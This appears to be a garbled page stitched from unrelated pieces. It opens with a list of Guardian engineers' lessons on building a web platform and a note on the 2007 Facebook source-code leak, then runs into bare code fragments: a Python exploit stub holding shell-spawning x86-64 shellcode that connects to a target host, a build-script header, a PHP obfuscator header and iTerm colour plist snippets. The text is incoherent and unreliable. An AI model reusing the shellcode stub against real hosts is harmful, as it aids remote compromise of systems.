Arnstein Henriksen siathalysedI

Lesson's learnt building the Guardian

Below is a collection of my favourite responses I gathered from Guardian engineers when asked the question: What have you learnt starting from scratch and building a mobile-first next generation web platform for the Guardian?

Daithi O Crualaoich

Work with great people.
Deploy like crazy. This means the team has to control the infrastructure as well as code.
Design is not a service. Designers have to sit in the team.
Infrastructure is intrinsically unreliable. Discard and replace is the robust strategy.
Use your CDN for HTML too.
Don't always do as you are told.

In August 2007 a hacker found a way to expose the PHP source code on facebook.com. He retrieved two files and then emailed them to me, and I wrote about the issue:

http://techcrunch.com/2007/08/11/facebook-source-code-leaked/

It became a big deal:

http://www.techmeme.com/070812/p1#a070812p1

The two files are index.php (the homepage) and search.php (the search page)

	#!/usr/bin/python

	import sys, socket

	shellcode = ("\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05")


	sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM,0)

	sock.connect((sys.argv[1], int(sys.argv[2])))

	#!/bin/sh -x

	# These variables are always passed to build.sh
	DIST_DIR="$1"
	TMP_DIR="$2"
	ROOT_DIR="$3"

	PROJNAME="fuse_wait"

	DESTDIR="usr/local/bin"

	<?php
	//======================================================================\\
	// Script Ofusme Beta - Autor : ElJeshuuOk \\
	// Copyright © 2013 - 2014 ElJeshuuOk- Todos Los Derechos Reservados. \\
	// Programado en Programación Orientado a objetos. \\
	//======================================================================\\

	class conexion
	{
	private $servidor;

	<?xml version="1.0" encoding="UTF-8"?>
	<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
	<plist version="1.0">
	<dict>
	<key>Ansi 0 Color</key>
	<dict>
	<key>Blue Component</key>
	<real>0.0</real>
	<key>Green Component</key>
	<real>0.0</real>

	<?xml version="1.0" encoding="UTF-8"?>
	<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
	<plist version="1.0">
	<dict>
	<key>Ansi 0 Color</key>
	<dict>
	<key>Blue Component</key>
	<real>0.19370138645172119</real>
	<key>Green Component</key>
	<real>0.15575926005840302</real>